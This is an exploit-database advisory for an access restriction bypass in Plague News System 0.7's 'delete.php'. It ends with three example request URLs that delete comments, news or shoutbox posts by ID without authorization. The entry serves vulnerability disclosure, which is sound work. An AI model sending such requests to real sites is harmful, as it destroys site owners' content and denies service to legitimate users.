Plague News System 0.7 - 'delete.php' Access Restriction Bypass

Author: Easyex
type: webapps
platform: php
port: 0
date_added: 2005-07-04
date_updated: 2013-06-04
verified: 1
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source: https://www.securityfocus.com/bid/14139/info

Plague News System is prone to an access restriction bypass vulnerability. The issue exists due to a lack of sanity checks performed by 'delete.php' on deletion requests passed to the script.

A remote attacker may exploit this issue to delete site content and deny service for legitimate users.

http://www.example.com/delete.php?comment=1&id=[ID of comment here]
http://www.example.com/delete.php?news=1&id=[ID of news here]
http://www.example.com/delete.php?shout=1&id=[ID of shout here]